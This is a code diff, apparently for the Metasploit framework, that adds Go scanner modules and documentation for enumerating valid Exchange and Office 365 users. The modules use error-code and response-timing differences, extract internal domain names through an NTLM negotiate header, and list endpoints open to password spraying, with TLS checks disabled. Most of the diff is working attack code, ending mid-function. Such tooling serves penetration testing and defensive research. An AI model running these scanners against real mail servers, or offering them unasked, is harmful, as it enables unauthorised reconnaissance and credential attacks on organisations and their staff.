diff --git a/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md new file mode 100644 index 0000000000..a429b83973 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md @@ -0,0 +1,21 @@ +OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. +This module leverages all known, and even some lesser-known services exposed by default +Exchange installations to enumerate email. + +Error-based user enumeration for Office 365 integrated email addresses + +## Verification + +- Start `msfconsole` +- `use auxiliary/scanner/msmail/exchange_enum` +- `set (`EMAIL` or `EMAIL_FILE`)` +- `run` +- `creds` + +*Results should look something like below if valid users were found:* + +``` +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ + 443/tcp (owa) chris@somecompany.com +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/msmail/host_id.md b/documentation/modules/auxiliary/scanner/msmail/host_id.md new file mode 100644 index 0000000000..a9224acf64 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/msmail/host_id.md @@ -0,0 +1,42 @@ +OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + +**Identify Command** +- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain +- Queries for specific DNS records related to Office 365 integration +- Attempts to extract internal domain name for onprem instance of Exchange +- Identifies services vulnerable to time-based user enumeration for onprem Exchange +- Lists password-sprayable services exposed for onprem Exchange host + +**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed + +## Verification + +- Start `msfconsole` +- `use auxiliary/scanner/msmail/host_id` +- `set RHOSTS ` +- `run` + +*Results should look like below:* + +``` +msf5 > use auxiliary/scanner/msmail/host_id +msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS +RHOSTS => +msf5 auxiliary(scanner/msmail/host_id) > run + +[*] Running for ... +[*] Attempting to harvest internal domain: +[*] Internal Domain: +[*] +[*] [-] Domain is not using o365 resources. +[*] Identifying endpoints vulnerable to time-based enumeration: +[*] [+] https:///Microsoft-Server-ActiveSync +[*] [+] https:///autodiscover/autodiscover.xml +[*] [+] https:///owa +[*] Identifying exposed Exchange endpoints for potential spraying: +[*] [+] https:///oab +[*] [+] https:///ews + +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/msmail/onprem_enum.md b/documentation/modules/auxiliary/scanner/msmail/onprem_enum.md new file mode 100644 index 0000000000..a84f2a1697 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/msmail/onprem_enum.md @@ -0,0 +1,25 @@ +OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + +- Error-based user enumeration for on premise Exchange services + +**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed + +## Verification + +- Start `msfconsole` +- `use auxiliary/scanner/msmail/onprem_enum` +- `set RHOSTS ` +- `set (`USER` or `USER_FILE`) +- `run` +- `creds` + +*Results should look something like below if valid users were found:* + +``` +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +10.1.1.1 10.1.1.1 443/tcp (owa) +10.1.1.1 10.1.1.1 443/tcp (owa) chris +``` diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb index 34a152beb7..6f4ca01acd 100644 --- a/lib/msf/core/module/external.rb +++ b/lib/msf/core/module/external.rb @@ -119,8 +119,44 @@ module Msf::Module::External }) invalidate_login(**cred) + + when 'credential_login' + handle_credential_login(data, mod) else print_warning "Skipping unrecognized report type #{m.params['type']}" end end end + +# +# Handles login report that does not necessarily need to include a password +# +def handle_credential_login(data, mod) + # Required + service_data = { + address: data['address'], + port: data['port'], + protocol: data['protocol'], + service_name: data['service_name'], + module_fullname: self.fullname, + workspace_id: myworkspace_id + } + + # Optional + credential_data = { + origin_type: :service, + username: data['username'] + }.merge(service_data) + + if data.has_key?(:password) + credential_data[:private_data] = data['password'] + credential_data[:private_type] = :password + end + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + create_credential_login(login_data) +end diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb index 08b5f9a2f6..04e1890d62 100644 --- a/lib/msf/core/modules/external/bridge.rb +++ b/lib/msf/core/modules/external/bridge.rb @@ -142,7 +142,7 @@ module Msf::Modules elsif Process.kill('TERM', self.wait_thread.pid) && self.wait_thread.join(10) self.exit_status = self.wait_thread.value else - Procoess.kill('KILL', self.wait_thread.pid) + Process.kill('KILL', self.wait_thread.pid) self.exit_status = self.wait_thread.value end end @@ -197,8 +197,19 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge def initialize(module_path, framework: nil) super - gopath = ENV['GOPATH'] || '' - self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath}) + default_go_path = ENV['GOPATH'] || '' + shared_module_lib_path = File.dirname(module_path) + "/shared" + go_path = File.expand_path('../go', __FILE__) + + if File.exist?(default_go_path) + go_path = go_path + File::PATH_SEPARATOR + default_go_path + end + + if File.exist?(shared_module_lib_path) + go_path = go_path + File::PATH_SEPARATOR + shared_module_lib_path + end + + self.env = self.env.merge({'GOPATH' => go_path}) self.cmd = ['go', 'run', self.path] end end diff --git a/lib/msf/core/modules/external/go/src/metasploit/module.go b/lib/msf/core/modules/external/go/src/metasploit/module.go deleted file mode 100644 index c791710dff..0000000000 --- a/lib/msf/core/modules/external/go/src/metasploit/module.go +++ /dev/null @@ -1,195 +0,0 @@ -package metasploit - -import ( - "bufio" - "encoding/json" - "log" - "os" - "strings" -) - -type response struct { - Jsonrpc string `json:"jsonrpc"` - ID string `json:"id"` -} - -func rpcSend(res interface{}) error { - resStr, err := json.Marshal(res) - if err != nil { - return err - } - f := bufio.NewWriter(os.Stdout) - if _, err := f.Write(resStr); err != nil { - return err - } - if err := f.Flush(); err != nil { - return err - } - - return nil -} - -type ( - logparams struct { - Level string `json:"level"` - Message string `json:"message"` - } - - logRequest struct { - Jsonrpc string `json:"jsonrpc"` - Method string `json:"method"` - Params logparams `json:"params"` - } -) - -func Log(message string, level string) { - req := &logRequest{"2.0", "message", logparams{level, message}} - if err := rpcSend(req); err != nil { - log.Fatal(err) - } -} - -type ( - reportparams struct { - Type string `json:"type"` - Data map[string]string `json:"data"` - } - - reportRequest struct { - Jsonrpc string `json:"jsonrpc"` - Method string `json:"method"` - Params reportparams `json:"params"` - } -) - -func report(kind string, base map[string]string, opts map[string]string) error { - for k, v := range base { - opts[k] = v - } - req := &reportRequest{"2.0", "report", reportparams{kind, opts}} - return rpcSend(req) -} - -func ReportHost(ip string, opts map[string]string) { - base := map[string]string{"host": ip} - if err := report("host", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportService(ip string, opts map[string]string) { - base := map[string]string{"host": ip} - if err := report("service", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportVuln(ip string, name string, opts map[string]string) { - base := map[string]string{"host": ip, "name": name} - if err := report("vuln", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportCorrectPassword(username string, password string, opts map[string]string) { - base := map[string]string{"username": username, "password": password} - if err := report("correct_password", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportWrongPassword(username string, password string, opts map[string]string) { - base := map[string]string{"username": username, "password": password} - if err := report("wrong_password", base, opts); err != nil { - log.Fatal(err) - } -} - -type ( - Reference struct { - Type string `json:"type"` - Ref string `json:"ref"` - } - - Target struct { - Platform string `json:"platform"` - Arch string `json:"arch"` - } - - Option struct { - Type string `json:"type"` - Description string `json:"description"` - Required bool `json:"required"` - Default string `json:"default"` - } - - Metadata struct { - Name string `json:"name"` - Description string `json:"description"` - Authors []string `json:"authors"` - Date string `json:"date"` - References []Reference `json:"references"` - Type string `json:"type"` - Rank string `json:"rank"` - WFSDelay int `json:"wfsdelay"` - Privileged bool `json:"privileged"` - Targets []Target `json:"targets,omitempty"` - Capabilities []string `json:"capabilities"` - Payload map[string]string `json:"payload,omitempty"` - Options map[string]Option `json:"options,omitempty"` - Notes map[string][]string `json:"notes,omitempty"` - } - - Request struct { - Jsonrpc string `json:"jsonrpc"` - Method string `json:"method"` - ID string `json:"id"` - } - - MetadataResponse struct { - Jsonrpc string `json:"jsonrpc"` - ID string `json:"id"` - Result *Metadata `json:"result"` - } - - RunResult struct { - Message string `json:"message"` - Return string `json:"return"` - } - - RunResponse struct { - Jsonrpc string `json:"jsonrpc"` - ID string `json:"id"` - Result RunResult `json:"result"` - } -) - -// RunCallback represents the exploit method to call from the module -type RunCallback func(req *Request) string - -// Run runs the exploit -func Run(metadata *Metadata, callback RunCallback) { - var req Request - - err := json.NewDecoder(os.Stdin).Decode(&req) - if err != nil { - log.Fatalf("could not decode JSON: %v", err) - } - - switch strings.ToLower(req.Method) { - case "describe": - metadata.Capabilities = []string{"run"} - res := &MetadataResponse{"2.0", req.ID, metadata} - if err := rpcSend(res); err != nil { - log.Fatalf("error on running %s: %v", req.Method, err) - } - case "run": - ret := callback(&req) - res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ret}} - if err := rpcSend(res); err != nil { - log.Fatalf("error on running %s: %v", req.Method, err) - } - default: - log.Fatalf("method %s not implemented yet", req.Method) - } -} diff --git a/lib/msf/core/modules/external/go/src/metasploit/module/core.go b/lib/msf/core/modules/external/go/src/metasploit/module/core.go new file mode 100644 index 0000000000..82f7f11f20 --- /dev/null +++ b/lib/msf/core/modules/external/go/src/metasploit/module/core.go @@ -0,0 +1,156 @@ +/* + * Defines core functionality for a GOLANG module + */ + +package module + +import ( + "bufio" + "encoding/json" + "log" + "os" + "strings" + "errors" +) + +/* + * RunCallback represents the method to call from the module + */ +type RunCallback func(params map[string]interface{}) + +/* + * Initializes the module waiting for input from stdin + */ +func Init(metadata *Metadata, callback RunCallback) { + var req Request + + err := json.NewDecoder(os.Stdin).Decode(&req) + if err != nil { + log.Fatalf("could not decode JSON: %v", err) + } + + switch strings.ToLower(req.Method) { + case "describe": + metadata.Capabilities = []string{"run"} + res := &MetadataResponse{"2.0", req.ID, metadata} + if err := rpcSend(res); err != nil { + log.Fatalf("error on running %s: %v", req.Method, err) + } + case "run": + params, e := parseParams(req.Parameters) + if e != nil { + log.Fatal(e) + } + callback(params) + res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ""}} + if err := rpcSend(res); err != nil { + log.Fatalf("error on running %s: %v", req.Method, err) + } + default: + log.Fatalf("method %s not implemented yet", req.Method) + } +} + +type ( + Request struct { + Jsonrpc string `json:"jsonrpc"` + Method string `json:"method"` + ID string `json:"id"` + Parameters interface{} `json:"params"` + } + + MetadataResponse struct { + Jsonrpc string `json:"jsonrpc"` + ID string `json:"id"` + Result *Metadata `json:"result"` + } + + RunResult struct { + Message string `json:"message"` + Return string `json:"return"` + } + + RunResponse struct { + Jsonrpc string `json:"jsonrpc"` + ID string `json:"id"` + Result RunResult `json:"result"` + } + + Parameters struct { + Type string `json:"type"` + Description string `json:"description"` + Required bool `json:"required"` + Default interface{} `json:"default"` + } +) + +type response struct { + Jsonrpc string `json:"jsonrpc"` + ID string `json:"id"` +} + +func parseParams(passedParams interface{}) (map[string]interface{}, error) { + v, ok := passedParams.(map[string]interface{}) + if !ok { + return nil, errors.New("cannot parse values") + } + + return v, nil +} + +func rpcSend(res interface{}) error { + resStr, err := json.Marshal(res) + if err != nil { + return err + } + f := bufio.NewWriter(os.Stdout) + if _, err := f.Write(resStr); err != nil { + return err + } + if err := f.Flush(); err != nil { + return err + } + + return nil +} + +type ( + logparams struct { + Level string `json:"level"` + Message string `json:"message"` + } + + logRequest struct { + Jsonrpc string `json:"jsonrpc"` + Method string `json:"method"` + Params logparams `json:"params"` + } +) + +func LogInfo(message string) { + msfLog(message, "info") +} + +func LogError(message string) { + msfLog(message, "error") +} + +func msfLog(message string, level string) { + req := &logRequest{"2.0", "message", logparams{level, message}} + if err := rpcSend(req); err != nil { + log.Fatal(err) + } +} + +type ( + reportparams struct { + Type string `json:"type"` + Data map[string]string `json:"data"` + } + + reportRequest struct { + Jsonrpc string `json:"jsonrpc"` + Method string `json:"method"` + Params reportparams `json:"params"` + } +) \ No newline at end of file diff --git a/lib/msf/core/modules/external/go/src/metasploit/module/metadata.go b/lib/msf/core/modules/external/go/src/metasploit/module/metadata.go new file mode 100644 index 0000000000..da14b48f4f --- /dev/null +++ b/lib/msf/core/modules/external/go/src/metasploit/module/metadata.go @@ -0,0 +1,41 @@ +/* + * Module metadata definition + */ + +package module + +type ( + Reference struct { + Type string `json:"type"` + Ref string `json:"ref"` + } + + Target struct { + Platform string `json:"platform"` + Arch string `json:"arch"` + } + + Option struct { + Type string `json:"type"` + Description string `json:"description"` + Required bool `json:"required"` + Default string `json:"default"` + } + + Metadata struct { + Name string `json:"name"` + Description string `json:"description"` + Authors []string `json:"authors"` + Date string `json:"date"` + References []Reference `json:"references"` + Type string `json:"type"` + Rank string `json:"rank"` + WFSDelay int `json:"wfsdelay"` + Privileged bool `json:"privileged"` + Targets []Target `json:"targets,omitempty"` + Capabilities []string `json:"capabilities"` + Payload map[string]string `json:"payload,omitempty"` + Options map[string]Option `json:"options,omitempty"` + Notes map[string][]string `json:"notes,omitempty"` + } +) diff --git a/lib/msf/core/modules/external/go/src/metasploit/module/report.go b/lib/msf/core/modules/external/go/src/metasploit/module/report.go new file mode 100644 index 0000000000..15936d06a8 --- /dev/null +++ b/lib/msf/core/modules/external/go/src/metasploit/module/report.go @@ -0,0 +1,57 @@ +/* + * Defines functions that report data to the core framework + */ + +package module + +import "log" + +func ReportHost(ip string, opts map[string]string) { + base := map[string]string{"host": ip} + if err := report("host", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportService(ip string, opts map[string]string) { + base := map[string]string{"host": ip} + if err := report("service", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportVuln(ip string, name string, opts map[string]string) { + base := map[string]string{"host": ip, "name": name} + if err := report("vuln", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportCorrectPassword(username string, password string, opts map[string]string) { + base := map[string]string{"username": username, "password": password} + if err := report("correct_password", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportWrongPassword(username string, password string, opts map[string]string) { + base := map[string]string{"username": username, "password": password} + if err := report("wrong_password", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportCredentialLogin(username string, password string, opts map[string]string) { + base := map[string]string{"username": username, "password": password} + if err := report("credential_login", base, opts); err != nil { + log.Fatal(err) + } +} + +func report(kind string, base map[string]string, opts map[string]string) error { + for k, v := range base { + opts[k] = v + } + req := &reportRequest{"2.0", "report", reportparams{kind, opts}} + return rpcSend(req) +} \ No newline at end of file diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index a83fdf05f6..48fec0ae7b 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -45,6 +45,11 @@ class Msf::Modules::External::Shim meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ") meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license'] + # Set modules without options to have an empty map + if mod.meta['options'].nil? + mod.meta['options'] = {} + end + options = mod.meta['options'].reject {|n, _| ignore_options.include? n} meta[:options] = options.map do |n, o| diff --git a/modules/auxiliary/scanner/msmail/exchange_enum.go b/modules/auxiliary/scanner/msmail/exchange_enum.go new file mode 100755 index 0000000000..db4992954b --- /dev/null +++ b/modules/auxiliary/scanner/msmail/exchange_enum.go @@ -0,0 +1,117 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +package main + +import ( + "crypto/tls" + "fmt" + "metasploit/module" + "msmail" + "net/http" + "strconv" + "strings" + "sync" +) + +func main() { + metadata := &module.Metadata{ + Name: "Exchange email enumeration", + Description: "Error-based user enumeration for Office 365 integrated email addresses", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{ + "RHOSTS": {Type: "string", Description: "Target endpoint", Required: true, Default: "outlook.office365.com"}, + "EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""}, + "EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""}, + }} + + module.Init(metadata, run_exchange_enum) +} + +func run_exchange_enum(params map[string]interface{}) { + email := params["EMAIL"].(string) + emailFile := params["EMAIL_FILE"].(string) + threads, e := strconv.Atoi(params["THREADS"].(string)) + ip := params["rhost"].(string) + + if e != nil { + module.LogError("Unable to parse 'Threads' value using default (5)") + threads = 5 + } + + if threads > 100 { + module.LogInfo("Threads value too large, setting max(100)") + threads = 100 + } + + if email == "" && emailFile == "" { + module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated") + return + } + + var validUsers []string + if email != "" { + validUsers = o365enum(ip, []string{email}, threads) + } + + if emailFile != "" { + validUsers = o365enum(ip, msmail.ImportUserList(emailFile), threads) + } + + msmail.ReportValidUsers(ip, validUsers) +} + +func o365enum(ip string, emaillist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + //limit := 100 + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018876" + URI := "https://" + ip + "/Microsoft-Server-ActiveSync" + var validemails []string + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for email := range queue { + responseCode := msmail.WebRequestBasicAuth(URI, email, pass, tr) + if strings.Contains(email, "@") && responseCode == 401 { + mux.Lock() + module.LogInfo("[+] " + email + " - 401") + validemails = append(validemails, email) + mux.Unlock() + } else if strings.Contains(email, "@") && responseCode == 404 { + mux.Lock() + module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode)) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode)) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(emaillist); i++ { + queue <- emaillist[i] + } + + close(queue) + wg.Wait() + return validemails +} \ No newline at end of file diff --git a/modules/auxiliary/scanner/msmail/host_id.go b/modules/auxiliary/scanner/msmail/host_id.go new file mode 100755 index 0000000000..c00c1619e9 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/host_id.go @@ -0,0 +1,92 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +package main + +import ( + "metasploit/module" + "msmail" + "net" + "strings" +) + +func main() { + metadata := &module.Metadata{ + Name: "Vulnerable domain identification", + Description: "Identifying potentially vulnerable Exchange endpoints", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{}, + } + + module.Init(metadata, run_id) +} + +func run_id(params map[string]interface{}) { + host := params["RHOSTS"].(string) + msmail.HarvestInternalDomain(host, true) + urlEnum(host) +} + +func urlEnum(hostInput string) { + hostSlice := strings.Split(hostInput, ".") + o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" + addr, err := net.LookupIP(o365Domain) + if err != nil { + module.LogInfo("[-] Domain is not using o365 resources.") + } else if addr == nil { + module.LogError("error") + } else { + module.LogInfo("[+] Domain is using o365 resources.") + } + asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" + adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" + ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml" + owaURI := "https://" + hostInput + "/owa" + timeEndpointsIdentified := false + module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:") + timeEndpoints := []string{asURI, adURI, ad2URI, owaURI} + for _, uri := range timeEndpoints { + responseCode := msmail.WebRequestCodeResponse(uri) + if responseCode == 401 { + module.LogInfo("[+] " + uri) + timeEndpointsIdentified = true + } + if responseCode == 200 { + module.LogInfo("[+] " + uri) + timeEndpointsIdentified = true + } + } + if timeEndpointsIdentified == false { + module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.") + } + module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:") + passEndpointIdentified := false + rpcURI := "https://" + hostInput + "/rpc" + oabURI := "https://" + hostInput + "/oab" + ewsURI := "https://" + hostInput + "/ews" + mapiURI := "https://" + hostInput + "/mapi" + + passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI} + for _, uri := range passEndpoints401 { + responseCode := msmail.WebRequestCodeResponse(uri) + if responseCode == 401 { + module.LogInfo("[+] " + uri) + passEndpointIdentified = true + } + } + ecpURI := "https://" + hostInput + "/ecp" + endpoints200 := []string{ecpURI, owaURI} + for _, uri := range endpoints200 { + responseCode := msmail.WebRequestCodeResponse(uri) + if responseCode == 200 { + module.LogInfo("[+] " + uri) + passEndpointIdentified = true + } + } + if passEndpointIdentified == false { + module.LogInfo("No onprem Exchange services identified.") + } +} diff --git a/modules/auxiliary/scanner/msmail/onprem_enum.go b/modules/auxiliary/scanner/msmail/onprem_enum.go new file mode 100755 index 0000000000..2f788ccb71 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/onprem_enum.go @@ -0,0 +1,183 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +package main + +import ( + "crypto/tls" + "metasploit/module" + "msmail" + "net/http" + "sort" + "strconv" + "sync" + "time" +) + +func main() { + metadata := &module.Metadata{ + Name: "On premise user enumeration", + Description: "On premise enumeration of valid exchange users", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{ + "USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""}, + "USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""}, + }} + + module.Init(metadata, run_onprem_enum) +} + +func run_onprem_enum(params map[string]interface{}) { + userFile := params["USER_FILE"].(string) + userName := params["USERNAME"].(string) + host := params["rhost"].(string) + threads, e := strconv.Atoi(params["THREADS"].(string)) + if e != nil { + module.LogError("Unable to parse 'Threads' value using default (5)") + threads = 5 + } + + if threads > 100 { + module.LogInfo("Threads value too large, setting max(100)") + threads = 100 + } + + if userFile == "" && userName == "" { + module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated") + return + } + + var validUsers []string + avgResponse := basicAuthAvgTime(host) + if userFile != "" { + validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads) + } else { + validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads) + } + + msmail.ReportValidUsers(host, validUsers) +} + +func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018978" + internaldomain := msmail.HarvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if msmail.WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if msmail.WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if msmail.WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return []string{} + } + var validusers []string + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for user := range queue { + startTime := time.Now() + msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr) + elapsedTime := time.Since(startTime) + + if float64(elapsedTime) < float64(avgResponse)*0.77 { + mux.Lock() + module.LogInfo("[+] " + user + " - " + elapsedTime.String()) + validusers = append(validusers, user) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo("[-] " + user + " - " + elapsedTime.String()) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(userlist); i++ { + queue <- userlist[i] + } + + close(queue) + wg.Wait() + return validusers +} + +func basicAuthAvgTime(host string) time.Duration { + internaldomain := msmail.HarvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if msmail.WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if msmail.WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if msmail.WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return -1 + } + + //We are determining sample auth response time for invalid users, the password used is irrelevant. + pass := "Summer201823904" + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + module.LogInfo("Collecting sample auth times...") + + var sliceOfTimes []float64 + var medianTime float64 + + usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"} + for i := 0; i < len(usernamelist)-1; i++ { + startTime := time.Now() + msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr) + elapsedTime := time.Since(startTime) + if elapsedTime > time.Second*15 { + module.LogInfo("Response taking longer than 15 seconds, setting time:") + module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String()) + return time.Duration(elapsedTime) + } + if i != 0 { + module.LogInfo(elapsedTime.String()) + sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) + } + } + sort.Float64s(sliceOfTimes) + if len(sliceOfTimes)%2 == 0 { + positionOne := len(sliceOfTimes)/2 - 1 + positionTwo := len(sliceOfTimes) / 2 + medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2 + } else if len(sliceOfTimes)%2 != 0 { + position := len(sliceOfTimes)/2 - 1 + medianTime = sliceOfTimes[position] + } else { + module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") + } + module.LogInfo("Avg Response: " + time.Duration(medianTime).String()) + return time.Duration(medianTime) +} + + diff --git a/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go new file mode 100644 index 0000000000..a9125595b9 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go @@ -0,0 +1,151 @@ +package msmail + +import ( + "crypto/tls" + "encoding/base64" + "fmt" + "io/ioutil" + "metasploit/module" + "net/http" + "strings" + "time" +) + +func WebRequestCodeResponse(URI string) int { + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + timeout := time.Duration(3 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + resp, err := client.Do(req) + if err != nil { + return 0 + } + return resp.StatusCode +} + +func HarvestInternalDomain(host string, outputDomain bool) string { + if outputDomain { + module.LogInfo("Attempting to harvest internal domain:") + } + url1 := "https://" + host + "/ews" + url2 := "https://" + host + "/autodiscover/autodiscover.xml" + url3 := "https://" + host + "/rpc" + url4 := "https://" + host + "/mapi" + url5 := "https://" + host + "/oab" + url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else if WebRequestCodeResponse(url4) == 401 { + urlToHarvest = url4 + } else if WebRequestCodeResponse(url5) == 401 { + urlToHarvest = url5 + } else if WebRequestCodeResponse(url6) == 401 { + urlToHarvest = url6 + } else { + module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n") + } + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + timeout := time.Duration(3 * time.Second) + + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", urlToHarvest, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36") + req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==") + resp, err := client.Do(req) + if err != nil { + return "" + } + ntlmResponse := resp.Header.Get("WWW-Authenticate") + data := strings.Split(ntlmResponse, " ") + base64DecodedResp, err := base64.StdEncoding.DecodeString(data[1]) + if err != nil { + module.LogError("Unable to parse NTLM response for internal domain name") + } + + var continueAppending bool 